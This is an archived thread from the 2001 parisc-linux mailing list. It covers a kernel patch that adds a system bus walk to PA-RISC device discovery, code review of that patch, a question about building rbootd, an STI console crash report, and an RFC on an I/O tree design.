From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] System bus walk patch
Date: Fri, 02 Feb 2001 13:05:40 -0700
Lines: 186
Approved: news@gmane.org
Message-ID: <3A7B1313.C6B5AFFE@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------9EA6EAB9903E413CB976C299"
X-Trace: ger.gmane.org 1416619828 14942 80.91.229.3 (22 Nov 2014 01:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 13:05:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B3EE4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 13:05:51 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA10692
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Feb 2001 13:01:36 -0700
Original-Received: (qmail 2222 invoked by uid 15267); 2 Feb 2001 20:05:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2155 invoked from network); 2 Feb 2001 20:05:42 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 20:05:42 -0000
Original-Received: (qmail 44606 invoked by alias); 2 Feb 2001 20:05:41 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 44560 invoked by uid 0); 2 Feb 2001 20:05:40 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 2 Feb 2001 20:05:40 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10130

This is a multi-part message in MIME format.
--------------9EA6EAB9903E413CB976C299
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello parisc-hackers,

This is the first of a series of patches to impliment an I/O tree for
parsic-linux.  I am
throwing this patch out to the list for discussion, and feedback before
committing it
to CVS because if this patch does not work, it will probably prevent
your machine from
booting. :)

The goal of this first patch is to simply add a system bus walk to the
end of  the firmware
device discovery to add additional devices not reported by the
firmware.  This patch does
not attempt to start organizing the pa_devices into a tree strucuture,
nor walk any other
native bus besides the system bus.  These features will be included in
additional patches,
after this one has been tested and committed to CVS.

I have tested this patch fairly extensively on the C200, but have not
tried it on different
machines. I would be interested in any feedback, concerns, questions
anyone has about
this patch.

Thanks,

- Ryan

--------------9EA6EAB9903E413CB976C299
Content-Type: text/plain; charset=us-ascii;
 name="iotree.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="iotree.patch"

--- arch/parisc/kernel/inventory.orig	Fri Feb  2 12:46:00 2001
+++ arch/parisc/kernel/inventory.c	Fri Feb  2 12:37:36 2001
@@ -171,59 +171,88 @@
 }
 #endif /* __LP64__ */
 
+#ifdef __LP64__
+#define FPA 0xFFFFFFFFFFF80000 /* Fixed Physical Address - Location of the Central Bus */
+#else /* !__LP64__ */
+#define FPA 0xFFF80000         /* Fixed Physical Address - Location of the Central Bus */
+#endif /* __LP64__ */
+
+/* The fixed portion is contained in hpa[14..19] for 32 bit and hpa[46..51] for 64 bit.
+** The maximum number of native devices is 2^6 (64) and the offset between devices is
+** 2^12 (0x1000).
+** - Ryan
+*/
+#define MAX_NATIVE_DEVICES 64
+#define NATIVE_DEVICE_OFFSET 0x1000
 
-
-static int do_newer_workstation_inventory(void)
+static int do_native_bus_walk(unsigned long hpa)
 {
-    long status, mod_index, addr_index;
-    struct hp_device *hp_device;
-    int num;
+	int num = 0;
+	struct hp_device *hp_device;
+	unsigned long hpa_end = hpa + (MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET);
+
+	for(; hpa < hpa_end; hpa += NATIVE_DEVICE_OFFSET) {
+		hp_device = alloc_pa_dev(hpa);
+		if (!hp_device)
+			continue;
+		
+		register_pa_dev(hp_device);
+		++num;
+	}
+	return num;
+}
 
-    /* So the idea here is to simply try one SYSTEM_MAP call.  If 
-       that one works, great, otherwise do it another way */
 
-    status = pdc_system_map_find_mods(&module_result, &module_path, 0);
-    if (status != PDC_RET_OK) 
-	return 0;
-    
-    /* This is for newer non-PDC-PAT boxes */
-    printk("a newer box...\n");
-    num = 0;
-    for (mod_index = 0, status = PDC_RET_OK; 
-	 status != PDC_RET_NE_PROC && status != PDC_RET_NE_MOD;
-	 mod_index++) 
-    {
-        status = pdc_system_map_find_mods(&module_result,
-				  &module_path,  mod_index);
+static int do_newer_workstation_inventory(void)
+{
+	long status, mod_index, addr_index;
+	struct hp_device *hp_device;
+	int num;
+	
+	/* So the idea here is to simply try one SYSTEM_MAP call.  If 
+	   that one works, great, otherwise do it another way */
+	
+	status = pdc_system_map_find_mods(&module_result, &module_path, 0);
 	if (status != PDC_RET_OK) 
-	    continue;
-	    
-	hp_device = alloc_pa_dev((unsigned long) module_result.mod_addr);
-	if (!hp_device)
-	    continue;
-	    
-	(void) register_pa_dev(hp_device);
-	num++;
-
-	/* if available, get the additional addresses for a module */
-	if (!module_result.add_addrs) 
-	    continue;
+		return 0;
 	
-	for (addr_index = 1; addr_index <= module_result.add_addrs; addr_index++) {
-	    status = pdc_system_map_find_addrs(
-			&addr_result, mod_index, addr_index);
-			
-	    if (status == PDC_RET_OK)
-		add_pa_dev_addr(hp_device, (unsigned long)addr_result.mod_addr);
-	    else {
-		printk("Bad PDC_FIND_ADDRESS status return (%ld) for index %ld\n",
-		    status, addr_index);
-	        status = PDC_RET_OK; /* reset status for outer loop */
-	    }
-	}
-    } /* end of main loop */
-
-    return (num > 0);
+	/* This is for newer non-PDC-PAT boxes */
+	printk("a newer box...\n");
+	num = 0;
+	for (mod_index = 0, status = PDC_RET_OK; 
+	     status != PDC_RET_NE_PROC && status != PDC_RET_NE_MOD;
+	     mod_index++) {
+		status = pdc_system_map_find_mods(&module_result,
+						  &module_path,  mod_index);
+		if (status != PDC_RET_OK) 
+			continue;
+		
+		hp_device = alloc_pa_dev((unsigned long) module_result.mod_addr);
+		if (!hp_device)
+			continue;
+		
+		(void) register_pa_dev(hp_device);
+		num++;
+		
+		/* if available, get the additional addresses for a module */
+		if (!module_result.add_addrs) 
+			continue;
+		
+		for (addr_index = 1; addr_index <= module_result.add_addrs; addr_index++) {
+			status = pdc_system_map_find_addrs(&addr_result, mod_index, addr_index);
+			if (status == PDC_RET_OK) {
+				add_pa_dev_addr(hp_device, (unsigned long)addr_result.mod_addr);
+			} else {
+				printk("Bad PDC_FIND_ADDRESS status return (%ld) for index %ld\n",
+				       status, addr_index);
+				status = PDC_RET_OK; /* reset status for outer loop */
+			}
+		}
+	} /* end of main loop */
+	
+	/* Walk the system bus */
+	num += do_native_bus_walk(FPA);
+	return (num > 0);
 }
 
 
--- arch/parisc/kernel/drivers.orig	Fri Feb  2 12:46:10 2001
+++ arch/parisc/kernel/drivers.c	Fri Feb  2 12:01:28 2001
@@ -103,15 +103,20 @@
 
 struct hp_device *alloc_pa_dev(unsigned long hpa)
 {

From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] System bus walk patch
Date: Fri, 2 Feb 2001 20:29:18 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <20010202202918.A26452@parcelfarce.linux.theplanet.co.uk>
References: <3A7B1313.C6B5AFFE@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619828 14954 80.91.229.3 (22 Nov 2014 01:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 13:29:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4C2A4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 13:29:24 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA10738
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Feb 2001 13:25:14 -0700
Original-Received: (qmail 10462 invoked by uid 15267); 2 Feb 2001 20:29:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10454 invoked from network); 2 Feb 2001 20:29:21 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 20:29:21 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Ompa-00021c-00; Fri, 02 Feb 2001 20:29:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A7B1313.C6B5AFFE@uswest.net>; from rbradetich@uswest.net on Fri, Feb 02, 2001 at 01:05:40PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10131

On Fri, Feb 02, 2001 at 01:05:40PM -0700, Ryan Bradetich wrote:
> I would be interested in any feedback, concerns, questions
> anyone has about this patch.

> --- arch/parisc/kernel/inventory.orig	Fri Feb  2 12:46:00 2001
> +++ arch/parisc/kernel/inventory.c	Fri Feb  2 12:37:36 2001
> @@ -171,59 +171,88 @@
>  }
>  #endif /* __LP64__ */
>  
> +#ifdef __LP64__
> +#define FPA 0xFFFFFFFFFFF80000 /* Fixed Physical Address - Location of the Central Bus */
> +#else /* !__LP64__ */
> +#define FPA 0xFFF80000         /* Fixed Physical Address - Location of the Central Bus */
> +#endif /* __LP64__ */

I'm sure there's a way to do this without #ifdef's... something like

#define FPA (unsigned long)-80000

but perhaps that feels obfuscated -- after all we're after an address here.

#define FPA ((unsigned long)(signed int)0xfff80000)

produces the right result (just tested it).  or perhaps we should have
a macro to give us IO space addresses.

most of what i'm about to comment on is just a reindentation to
CodingStyle of preexisting code, yes?

> +		(void) register_pa_dev(hp_device);

unnecessary cast to void.

> +		for (addr_index = 1; addr_index <= module_result.add_addrs; addr_index++) {
> +			status = pdc_system_map_find_addrs(&addr_result, mod_index, addr_index);
> +			if (status == PDC_RET_OK) {
> +				add_pa_dev_addr(hp_device, (unsigned long)addr_result.mod_addr);
> +			} else {
> +				printk("Bad PDC_FIND_ADDRESS status return (%ld) for index %ld\n",
> +				       status, addr_index);
> +				status = PDC_RET_OK; /* reset status for outer loop */
> +			}
> +		}

that's just ugly.  don't reuse the `status' variable.

		for (addr_index = 1; addr_index <= module_result.add_addrs; addr_index++) {
			int mod_status = pdc_system_map_find_addrs(&addr_result, mod_index, addr_index);
			if (mod_status) == PDC_RET_OK) {
				add_pa_dev_addr(hp_device, (unsigned long)addr_result.mod_addr);
			} else {
				printk("Bad PDC_FIND_ADDRESS status return (%ld) for index %ld\n",
					mod_status, addr_index);
			}
		}

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] System bus walk patch
Date: Fri, 2 Feb 2001 23:22:16 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <01020223221603.05589@P100.helgenet.de>
References: <3A7B1313.C6B5AFFE@uswest.net> <20010202202918.A26452@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619829 14956 80.91.229.3 (22 Nov 2014 01:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>,
	Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 15:21:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 654DF4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 15:21:20 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA11289
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Feb 2001 15:17:09 -0700
Original-Received: (qmail 27032 invoked by uid 15267); 2 Feb 2001 22:21:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27019 invoked from network); 2 Feb 2001 22:21:18 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 22:21:18 -0000
Original-Received: (qmail 26615 invoked by uid 0); 2 Feb 2001 22:20:50 -0000
Original-Received: from pd9040381.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.129)
  by mail.gmx.net (mail05) with SMTP; 2 Feb 2001 22:20:50 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010202202918.A26452@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10132

> > +#ifdef __LP64__
> > +#define FPA 0xFFFFFFFFFFF80000 /* Fixed Physical Address - Location of
> > the Central Bus */ +#else /* !__LP64__ */
> > +#define FPA 0xFFF80000         /* Fixed Physical Address - Location of
> > the Central Bus */ +#endif /* __LP64__ */
>
> I'm sure there's a way to do this without #ifdef's... something like
>
> #define FPA (unsigned long)-80000
>
> but perhaps that feels obfuscated -- after all we're after an address here.
>
> #define FPA ((unsigned long)(signed int)0xfff80000)

or just as I did it in led.c
#define KITTYHAWK_LCD_CMD  (0xfffffffff0190000UL) /* 64bit-ready */ 
which is automatically casted by the compiler ?

Helge





From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sat, 03 Feb 2001 01:51:17 +0100
Organization: private
Lines: 18
Approved: news@gmane.org
Message-ID: <3A7B5605.C08AA191@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619829 14963 80.91.229.3 (22 Nov 2014 01:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 17:51:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C823181CF
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 17:51:25 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-010.dot.at [212.9.128.50])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id CAA21327
	for <parisc-linux@parisc-linux.org>; Sat, 3 Feb 2001 02:01:09 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10133

Hi PA-RISCers !

Is there a source code of "your" binary version of the rbootd.
Alle source of debian has the problem, that the file pcap.h is not
found.
I want further change the default path from /export... 
to my setup.....

Cheers
	Christoph

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Source of this version of rbootd-2.0-2
Date: Sat, 3 Feb 2001 01:17:48 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20010203011748.F26452@parcelfarce.linux.theplanet.co.uk>
References: <3A7B5605.C08AA191@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619829 14965 80.91.229.3 (22 Nov 2014 01:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 18:17:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76C884A19
	for <parisc-linux@parisc-linux.org>; Fri,  2 Feb 2001 18:17:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14OrKm-0006rh-00; Sat, 03 Feb 2001 01:17:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A7B5605.C08AA191@dot.at>; from christoph.plattner@dot.at on Sat, Feb 03, 2001 at 01:51:17AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10134

On Sat, Feb 03, 2001 at 01:51:17AM +0100, Christoph Plattner wrote:
> Hi PA-RISCers !
> 
> Is there a source code of "your" binary version of the rbootd.
> Alle source of debian has the problem, that the file pcap.h is not
> found.

you need to `apt-get install libpcap-dev', then you will have a pcap.h
and can rebuild rbootd.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI broken on head
Date: Sat, 3 Feb 2001 04:39:36 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20010203043936.G26452@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619830 14968 80.91.229.3 (22 Nov 2014 01:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 21:39:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 126C64A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 21:39:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14OuU4-0001GX-00
	for parisc-linux@lists.parisc-linux.org; Sat, 03 Feb 2001 04:39:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10135

I've got a 712 heer which I'm now bootin in STI console, cos I want to get
rid of the nasty PDC hack.

However, the current CVS head dies when calling

        ret = STI_CALL(sti->init_graph, &default_init_flags, &inptr,
                &outptr, sti->glob_cfg);

sti->init_graph is 0x01f88808 which seems plausible, but it's also the
IAOQ when we die.

of course, when using STI console, you're not using serial console, so i
don't get a log of the break.

why are we calling STI routines in real mode?  i haven't seen anything
to suggest this is required in the docs yet.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC: I/O tree design
Date: Sat, 03 Feb 2001 00:17:52 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <3A7BB0A0.D478911A@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619830 14975 80.91.229.3 (22 Nov 2014 01:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 00:17:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 735F94A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Feb 2001 00:17:56 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA13032
	for <parisc-linux@puffin.external.hp.com>; Sat, 3 Feb 2001 00:13:45 -0700
Original-Received: (qmail 30360 invoked by uid 15267); 3 Feb 2001 07:17:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30353 invoked from network); 3 Feb 2001 07:17:54 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 3 Feb 2001 07:17:54 -0000
Original-Received: (qmail 17934 invoked by alias); 3 Feb 2001 07:17:53 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 17920 invoked by uid 0); 3 Feb 2001 07:17:52 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 3 Feb 2001 07:17:52 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10136

Hello parisc-linux hackers,

Here is my proposal for phase 2 of the I/O tree for parisc-linux.
This proposal covers the internal structure of the I/O tree itself.
I am not providing a patch at this time, because I want to make
sure the idea is sound before we start discussing the implimentation
details of the patch.

[Note: This proposal is a bit rough and could use some re-working
to  make it flow better, but I would rather spend my time discussing
design ideas and writing code then polishing up the design proposal].




Currently the all the "discovered" devices are either found one of
the three following ways:

    1. Firmware tells us about the device.
    2. Probing in known locations and hoping to find a device.
    3. An architect-ed bus walk.

The previous patch for walking the system bus is my first attempt
at an  bus walk on the system bus.  This design proposal
is independent of the  bus walk patch, but eventually
the  bus walk code will be needed to fill in the
missing nodes in the I/O tree.

Currently all the "discovered" I/O devices are stored in a
fixed size array which contains up to 64 devices.  This fixed
size array has already been established and is known to work,
so this proposal does not attempt to replace the fixed size
array, but instead uses indexes within the struct hp_device
to create the logical I/O tree.

To create the logical I/O tree, three u16 values will be
added to the struct hp_device which will contain the index
into the fixed array for the logical parent, sibling, and
child relationship.  I chose a u16 value over the u8 value
because it allows future expansion of the device array and
I want to reserve the largest value for marking the index
uninitialized. The following relationships are defined
below:

Parent: This index is always set to device controlling the
bus the I/O node exists on.  [Note: Just because Node A parent
is Node B does not require Node B's child to be Node A].
The device controlling the I/O node is always one of these
three components:

    - Central Bus
    - Bus Converter
    - Bus Adapter

The parent index is a quick way to determine which devices
are between the given node and the central bus.

Sibling: This index always points to the next device that
exists on the same bus. [Note: The list of devices is NOT
a doubly linked list.  Use parent->child to start at the
head of the one-way linked list].  The sibling pointers
are useful for performing an action to every device that
exists on a given bus.

Child: This index is only set to a valid node if the
current node is the Central bus, a Bus Converter, or
a Bus adapter.  When this index is set to a valid node,
it points to the head of the sibling list containing all
valid nodes for the given bus.

This proposal also calls for a special "root" node at
index 0 of the device array.  The root node is the starting
point of the I/O tree and does not have a parent, nor any
siblings.  The root node has a single child pointer which
points to the head of the sibling list for the system
bus.  Existing code needs to be modified that uses the
device array to ignore the element at index 0 unless it
is using the the device array as a logical I/O tree.

Here is a sample ASCII drawing of a theoretical I/O tree
as envisioned by this proposal.  I have taken care to
make sure the pointer relationship by using arrows to
point the directions the pointers are valid for.

+------+
| Root |<- - - -+
+------+        |
  /|\
   |            |
   |
  \|/           |
+------+     +------+
| Node |---->| Node |<- - - - - - - - - - +
+------+     +------+<- - - -+            |
  /|\          /|\
   |            |            |            |
   |            |
  \|/          \|/           |            |
+------+     +------+     +------+     +------+
| Node |     | Node |---->| Node |---->| Node |
+------+     +------+     +------+     +------+


Summary:

This phase of the I/O tree design is just to make sure
the I/O tree design itself is sound.  I will need to add
three u16 values into struct hp_device to logically the
tree in the device array.  This design proposal does not
include how to initialize and setup the parent, sibling,
and child pointers once they have been added to the
struct hp_device, nor does it cover any additional fields
that may have to be added to logically connect the devices
to form the I/O tree.  I wanted to make sure the I/O tree
design was sound before I started designing how to initialize
the tree from the given devices.

Any feedback, comments, questions, etc is greatly appreciated.

Thanks,

- Ryan







From - Thu Nov 08 21:16:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _working_ rbootd for redhat
Date: Sun, 4 Feb 2001 02:08:44 +1100 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200102031508.CAA25485@customware.com.au>
References: <3A7A7E14.9EB320A4@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619831 14994 80.91.229.3 (22 Nov 2014 01:30:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:31 +0000 (UTC)
Cc: christoph.plattner@alcatel.at (Christoph Plattner)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  3 08:09:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B8814A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Feb 2001 08:09:00 -0700 (MST)
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id CAA18455;
	Sun, 4 Feb 2001 02:08:46 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id CAA25485;
	Sun, 4 Feb 2001 02:08:45 +1100
In-Reply-To: <3A7A7E14.9EB320A4@alcatel.at> from "Christoph Plattner" at Feb 02, 2001 10:29:56 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10138

> 
> Hello !
> I will try your setup.
> 
> One more question here:
> 
> Have I to configure something concerning the LAN on the
> boot monitor prompt (PDC..) to be able to use the LAN as
> boot device ?

hmmm, not sure what you mean here.

In my case I disconnected all SCSI devices to _ensure_ the box would not
boot from disk.

All I do is let it search (or, _re_search if I had forgotten to start rbootd)
and then select path P0 to boot from.

> 
> To your question: Yes my Linux has booted. I only needed 
> this TRAP18-FIX and ..... success !!

Does your kernel see the scsi interface on the 720 ?

